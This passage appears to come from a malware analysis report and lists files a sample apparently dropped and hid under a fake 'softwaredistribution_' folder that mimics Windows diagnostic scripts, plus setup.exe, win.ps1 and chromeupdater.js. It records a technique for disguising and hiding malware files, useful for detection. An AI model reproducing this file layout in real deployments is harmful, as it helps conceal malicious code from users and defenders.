  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\vf_calibrationrequired.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\graphicsdriverregtool-definitions.psm1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_aud_reg_settings.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_displaytopology.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_driverblocklist.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_hevccodeccheck.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_hwdrmcheck.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_msvideo.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_unsigned.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_aud_reg_settings.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_displaytopology.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_genericfailure.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_hevccodeccheck.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_hwdrmcheck.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_msvideo.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_unsigned.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\ts_main.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_aud_reg_settings.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_viddrv_driverblocklist.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_viddrv_msvideo.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_viddrv_unsigned.ps1
  • %ALLUSERSPROFILE%\setup.exe
  • C:\users\public\settings\a\news\win.ps1
  • %ALLUSERSPROFILE%\chromeupdater.js
Sets the 'hidden' attribute to the following files
  • %ALLUSERSPROFILE%\softwaredistribution_\index\appsdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\audioplaybackdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\audiorecordingdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\bitsdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\bluetoothdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\cameragethelpdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\devicecenterdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\devicediagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\iebrowsewebdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\iesecuritydiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\keyboarddiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\maintenancediagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_1_web.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_2_fileshare.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_4_networkadapter.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_5_inbound.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_6_da.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\powerdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\printerdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\searchdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\speechdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\videoplaybackdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\windowsmediaplayerconfiguration.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\windowsmediaplayermedialibrary.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\windowsmediaplayerplaydvd.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\windowsupdatediagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\resources\licenses\dbu\serverdatacenter\license.rtf
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\resources\licenses\df\serverdatacenter\license.rtf
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_connectedaccount.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_tempinetfolder.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_temporaryprofile.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_uac.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_wsreset.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_connectedaccount.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_tempinetfolder.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_temporaryprofile.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_uac.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_wsreset.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\ts_main.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\utils_apps.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\vf_uac.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\vf_wsreset.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_audiodiagnosticsnapin.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_invocation.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_loadassembly.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_rundiagnosticscript.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_utility.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_apoloadfailure.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_audioservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_audioserviceresponse.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_changevolume.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_enableincpl.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_hdaudiodriver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_notdefault.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_samplingrate.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_unmute.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_apoloadfailure.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_audiodevicedriver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_audioservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_audioserviceresponse.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_disabledincpl.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_hdaudiodriver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_lowvolume.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_mute.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_notdefault.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_samplingrate.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_unpluggedin.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\vf_hdaudiodriver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\vf_lowvolume.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\cl_registry.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\cl_service.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\rc_bitsacl.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\rc_bitsdll.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\rc_bitsregkeys.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\rs_bitsacl.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\rs_bitsdll.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\rs_bitsregkeys.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\ts_main.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_btradiooff.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_checkbt.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_disabled.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_driverproblem.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_otherissue.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_pendingrestart.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_btradiooff.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_checkbt.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_disabled.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_driverproblem.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_otherissue.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_pendingrestart.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\ts_main.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\vf_btradiooff.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\cl_detectingdevice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\cl_utility.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\db_deviceerrorlibrary.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_checkdriversoninstall.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_devicedriverneedsupdate.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_drivernotfound.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_enabledevice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_informcustomer.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_pendingrestart.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_rescanalldevices.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_checkdriversoninstall.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_devicedisabled.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_devicedriverneedsupdate.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_drivernotfound.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_hardwaredevicemain.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_informcustomer.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_notworkingproperly.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_pendingrestart.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_rescanalldevices.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\vf_rescanalldevices.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\cl_utility.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\ts_devicecenter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_disableaddon.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_disableaddonloadingtime.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_resetcachesize.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_resetpagesyncpolicy.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_restoreieconnection.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_ieaddon.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_ieaddonloadingtime.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_ieconnection.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_pagesyncpolicy.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_tempfilecachesize.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\vf_iedefectiveaddon.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\iesecurity_troubleshooter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\rs_blockpopups.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\rs_iesecuritylevels.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\rs_phishingfilter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\ts_blockpopups.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\ts_iesecuritylevels.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\ts_phishingfilter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\cl_cicero.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\cl_telemetry.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\keyboarddiagnostic.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\rs_cicero.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\ts_cicero.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\htinteractiveres.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\interactiveres.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticsnapin.dll
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticsresolve.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticstroubleshoot.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticsverify.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\startdpsservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\utilityfunctions.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\utilitysetconstants.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\rs_programcompatibilitywizard.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\ts_programcompatibilitywizard.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\vf_programcompatibilitywizard.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\power_troubleshooter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_adjustdimdisplay.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_adjustscreenbrightness.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_adjustwirelessadaptersettings.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_balanced.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_changeprocessorstate.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_disablescreensaver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_disableusbselective.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_resetdisplayidletimeout.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_resetidledisktimeout.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_resetidlesleepsetting.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_balanced.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_dimdisplay.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_displayidletimeout.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_idledisktimeout.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_idlesleepsetting.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_minprocessorstate.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_screenbrightness.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_screensaver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_usbselective.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_wirelessadaptersettings.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\mf_printerdiagnostic.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_cancelalljobs.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_deleteprintjobs.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_noprinterinstalled.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_printerdriver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_printerturnedoff.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_processprinterjobs.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_restartspoolerservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_setspoolerstartmode.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_spoolercrashing.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_startspoolerservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_wrongdefaultprinter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_cannotconnect.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_defaultprinter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_noprinterinstalled.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_outofpaper.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_outoftoner.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_paperjam.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printerdriver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printerdrivererror.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printerturnedoff.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printjobsstuck.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_setspoolermode.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_spoolercrashing.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_spoolerservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\vf_printerturnedoff.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_resetwindowssearchapp.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_restoredefaults.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_restorepermissions.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_startindexingservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_checkpermissions.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_filterhostcrashing.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_forcedshutdowninrecovery.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_forcedshutdownnocorruption.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_indexingservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_indexingservicecrashing.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_protocolhostcrashing.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_searchapp.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\mf_speechdiagnostic.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\rs_calibrationrequired.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\vf_calibrationrequired.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\graphicsdriverregtool-definitions.psm1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_aud_reg_settings.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_displaytopology.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_driverblocklist.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_hevccodeccheck.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_hwdrmcheck.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_msvideo.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rc_viddrv_unsigned.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_aud_reg_settings.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_displaytopology.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_genericfailure.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_hevccodeccheck.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_hwdrmcheck.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_msvideo.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\rs_viddrv_unsigned.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\shellnew\cl_localizationdata.psd1
